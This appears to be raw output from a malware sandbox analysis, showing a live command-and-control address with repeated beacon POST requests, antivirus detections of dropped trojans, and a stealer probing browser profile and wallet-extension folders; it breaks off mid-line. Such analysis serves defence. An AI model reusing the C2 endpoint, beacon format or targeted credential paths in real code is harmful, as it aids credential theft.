(Indicator: ""; File: "button.tcl") file/memory contains long string with (Indicator: ""; File: "panedwindow.tcl")b9:T417,Found string "* FROM Win32_Processor" (Indicator: " Win32_Process"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "* FROM Win32_Processor" (Indicator: " Win32_Processor"; File: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "\DESKTOP-FVVF82A\ROOT\SecurityCenter2:AntiVirusProduct.instanceGuid="{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}"" (Indicator: "antivirusproduct"; Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "AntiVirusProduct" (Indicator: "antivirusproduct"; Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "FROM AntivirusProduct" (Indicator: "antivirusproduct"; Source: "00000000-00001896.00000001.72578.0ABA0000.00000004.mdmp") Found string "ELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00002712.00000000.77997.00400000.00000040.mdmp") Found string "ELECT * FROM Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00002712.00000000.77997.00400000.00000040.mdmp")ba:T2e9a,"POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:57:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>310D0A330D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A7C3DF38C30591441068EC9D8882F5B7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B233CA88776DDF9A98890BA189E5527131F07ADE077F9750A0492AB087EC977D3C56DDBED026FFDC78B" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:57:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:57:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>310D0A330D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A7C3DF38C30591441068EC9D8882F5B7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B233CA88776DDF9A98890BA189E5527131F07ADE077F9750A0492AB087EC977D3C56DDBED026FFDC78B" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:57:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:57:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>310D0A330D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 176 Cache-Control: no-cache" with payload::==> "" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:57:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:57:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>310D0A330D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A7C3DF38C30591441068EC9D8882F5B7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B233CA88776DDF9A98890BA189E5527131F07ADE077F9750A0492AB087EC977D3C56DDBED026FFDC78B" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:57:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:57:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>310D0A330D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A7C3DF38C30591441068EC9D8882F5B7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B233CA88776DDF9A98890BA189E5527131F07ADE077F9750A0492AB087EC977D3C56DDBED026FFDC78B" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:57:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:57:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>310D0A330D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A7C3DF38C30591441068EC9D8882F5B7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B233CA88776DDF9A98890BA189E5527131F07ADE077F9750A0492AB087EC977D3C56DDBED026FFDC78B" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:57:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:58:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>310D0A330D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A7C3DF38C30591441068EC9D8882F5B7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B233CA88776DDF9A98890BA189E5527131F07ADE077F9750A0492AB087EC977D3C56DDBED026FFDC78B" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:58:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:58:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>310D0A330D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A7C3DF38C30591441068EC9D8882F5B7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B233CA88776DDF9A98890BA189E5527131F07ADE077F9750A0492AB087EC977D3C56DDBED026FFDC78B" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:58:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:58:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>310D0A330D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A7C3DF38C30591441068EC9D8882F5B7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B233CA88776DDF9A98890BA189E5527131F07ADE077F9750A0492AB087EC977D3C56DDBED026FFDC78B" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:58:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:58:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>310D0A330D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A7C3DF38C30591441068EC9D8882F5B7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B233CA88776DDF9A98890BA189E5527131F07ADE077F9750A0492AB087EC977D3C56DDBED026FFDC78B" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:58:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:58:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>310D0A330D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A7C3DF38C30591441068EC9D8882F5B7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B233CA88776DDF9A98890BA189E5527131F07ADE077F9750A0492AB087EC977D3C56DDBED026FFDC78B" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:58:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:58:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>310D0A330D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 176 Cache-Control: no-cache" with payload::==> "r=A7C3DF38C30591441068EC9D8882F5B7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B233CA88776DDF9A98890BA189E5527131F07ADE077F9750A0492AB087EC977D3C56DDBED026FFDC78B" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:58:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>360D0A3C633E3C643E0D0A300D0A0D0A....... "POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache" with payload::==> "st=s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 20 Dec 2023 14:58:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>310D0A330D0A300D0A0D0A.......bb:Ta56,Found dropped filename "cp936.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "cp949.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "cns11643.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "euc-kr.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "ksc5601.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "big5.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "cp950.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "gb12345.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "gb2312.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "gb2312-raw.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "euc-jp.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "jis0208.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "jis0212.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "cp932.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "macJapan.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "shiftjis.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "macCentEuro.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "macCroatian.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "macCyrillic.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "macDingbats.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "iso8859-10.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "macTurkish.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "iso8859-14.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "iso8859-16.enc" which has been seen in the context of ransomware (Indicator: .ENC) Found dropped filename "iso8859-15.enc" which has been seen in the context of ransomware (Indicator: .ENC)bc:T1066,Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="5176"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="1284"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="3720"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="7700"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="7828"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="4408"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="2688"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="3040"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="5072"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="4864"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="4584"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="7112"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="3524"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="2676"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="7516"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="4444"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="3424"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="7148"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="4216"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="2376"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="4108"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="7140"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="2844"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="7976"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\root\cimv2:Win32_Process.Handle="7984"" (Indicator: "root\cimv2"; in Source: "00000000-00001896.00000001.72578.037C0000.00000004.mdmp")bd:T624,56/72 Antivirus vendors marked dropped file "Kolodi.exe" as malicious (classified as "Gen:Variant.Fragtor" with 77% detection rate) 48/81 Antivirus vendors marked dropped file "TierDiagnosis.exe" as malicious (classified as "Trojan.Generic" with 59% detection rate) 55/88 Antivirus vendors marked dropped file "alex.exe" as malicious (classified as "Trojan.MSIL_Heur" with 62% detection rate) 44/88 Antivirus vendors marked dropped file "wlanext.exe" as malicious (classified as "Gen:Variant.Tedy" with 50% detection rate) 23/72 Antivirus vendors marked dropped file "plugmanzx.exe" as malicious (classified as "Dropper.MSIL" with 31% detection rate) 56/81 Antivirus vendors marked dropped file "somzx.exe" as malicious (classified as "Trojan.Generic" with 69% detection rate) 33/95 Antivirus vendors marked dropped file "spfasiazx.exe" as malicious (classified as "MSIL.Kryptik" with 34% detection rate) 69/88 Antivirus vendors marked dropped file "1.exe" as malicious (classified as "Gen:Variant.Zusy" with 78% detection rate) 63/80 Antivirus vendors marked dropped file "build3.exe" as malicious (classified as "Trojan.Nymaim" with 78% detection rate) 60/71 Antivirus vendors marked dropped file "lve5.exe" as malicious (classified as "DeepScan:Generic.Malware.Lco" with 84% detection rate) 63/80 Antivirus vendors marked dropped file "build3.exe.bin" as malicious (classified as "Trojan.Nymaim" with 78% detection rate) 60/71 Antivirus vendors marked dropped file "lve.exe" as malicious (classified as "DeepScan:Generic.Malware.Lco" with 84% detection rate)be:Tc87,33/95 Antivirus vendors marked spawned process "spfasiazx.exe" (PID: 244) as malicious (classified as "MSIL.Kryptik" with 34% detection rate) 63/80 Antivirus vendors marked spawned process "build3.exe" (PID: 2560) as malicious (classified as "Trojan.Nymaim" with 78% detection rate) 55/88 Antivirus vendors marked spawned process "alex.exe" (PID: 4944) as malicious (classified as "Trojan.MSIL_Heur" with 62% detection rate) 44/88 Antivirus vendors marked spawned process "wlanext.exe" (PID: 276) as malicious (classified as "Gen:Variant.Tedy" with 50% detection rate) 33/95 Antivirus vendors marked spawned process "spfasiazx.exe" (PID: 6536) as malicious (classified as "MSIL.Kryptik" with 34% detection rate) 56/72 Antivirus vendors marked spawned process "Kolodi.exe" (PID: 1896) as malicious (classified as "Gen:Variant.Fragtor" with 77% detection rate) 63/80 Antivirus vendors marked spawned process "build3.exe" (PID: 188) as malicious (classified as "Trojan.Nymaim" with 78% detection rate) 31/70 Antivirus vendors marked spawned process "%E6%B9%96%E5%8D%97%E7%81%AB%E9%BE%99?132HF?.exe" (PID: 3960) as malicious (classified as "UDS:Trojan.Badur" with 44% detection rate) 56/81 Antivirus vendors marked spawned process "somzx.exe" (PID: 6868) as malicious (classified as "Trojan.Generic" with 69% detection rate) 23/72 Antivirus vendors marked spawned process "plugmanzx.exe" (PID: 6724) as malicious (classified as "Dropper.MSIL" with 31% detection rate) 60/71 Antivirus vendors marked spawned process "lve5.exe" (PID: 8068) as malicious (classified as "DeepScan:Generic.Malware.Lco" with 84% detection rate) 60/71 Antivirus vendors marked spawned process "lve.exe" (PID: 6980) as malicious (classified as "DeepScan:Generic.Malware.Lco" with 84% detection rate) 69/88 Antivirus vendors marked spawned process "1.exe" (PID: 3764) as malicious (classified as "Gen:Variant.Zusy" with 78% detection rate) 48/81 Antivirus vendors marked spawned process "TierDiagnosis.exe" (PID: 5736) as malicious (classified as "Trojan.Generic" with 59% detection rate) 56/81 Antivirus vendors marked spawned process "somzx.exe" (PID: 8172) as malicious (classified as "Trojan.Generic" with 69% detection rate) 56/81 Antivirus vendors marked spawned process "somzx.exe" (PID: 4360) as malicious (classified as "Trojan.Generic" with 69% detection rate) 56/81 Antivirus vendors marked spawned process "somzx.exe" (PID: 2064) as malicious (classified as "Trojan.Generic" with 69% detection rate) 56/81 Antivirus vendors marked spawned process "somzx.exe" (PID: 4544) as malicious (classified as "Trojan.Generic" with 69% detection rate) 56/81 Antivirus vendors marked spawned process "somzx.exe" (PID: 6460) as malicious (classified as "Trojan.Generic" with 69% detection rate) 23/72 Antivirus vendors marked spawned process "plugmanzx.exe" (PID: 2712) as malicious (classified as "Dropper.MSIL" with 31% detection rate) 27/71 Antivirus vendors marked spawned process "vbmail.exe" (PID: 7716) as malicious (classified as "Kryptik.HVKA" with 38% detection rate) 27/71 Antivirus vendors marked spawned process "vbmail.exe" (PID: 6932) as malicious (classified as "Kryptik.HVKA" with 38% detection rate)bf:T1b23,"Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\MAPLESTUDIO\CHROMEPLUS\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\IRIDIUM\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\7STAR\7STAR\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\CENTBROWSER\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\CHEDOT\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\VIVALDI\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\KOMETA\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\ELEMENTS BROWSER\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\EPIC PRIVACY BROWSER\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\UCOZMEDIA\URAN\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\FENRIR INC\SLEIPNIR5\SETTING\MODULES\CHROMIUMVIEWER" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\CATALINAGROUP\CITRIO\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COOWON\COOWON\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\LIEBAO\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\QIP SURF\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\ORBITUM\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\AMIGO\USER\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\TORCH\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\YANDEX\YANDEXBROWSER\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\360BROWSER\BROWSER\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\MAXTHON3\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\K-MELON\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\SPUTNIK\SPUTNIK\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\NICHROME\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COCCOC\BROWSER\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\URAN\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\CHROMODO\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\MAIL.RU\ATOM\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\BRAVESOFTWARE\BRAVE-BROWSER\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\CRYPTOTAB BROWSER\USER DATA" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\FFNBELFDOEIOHENKJIBNMADJIEHJHAJB" "Kolodi.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC" "Kolodi.exe" trying to open a file 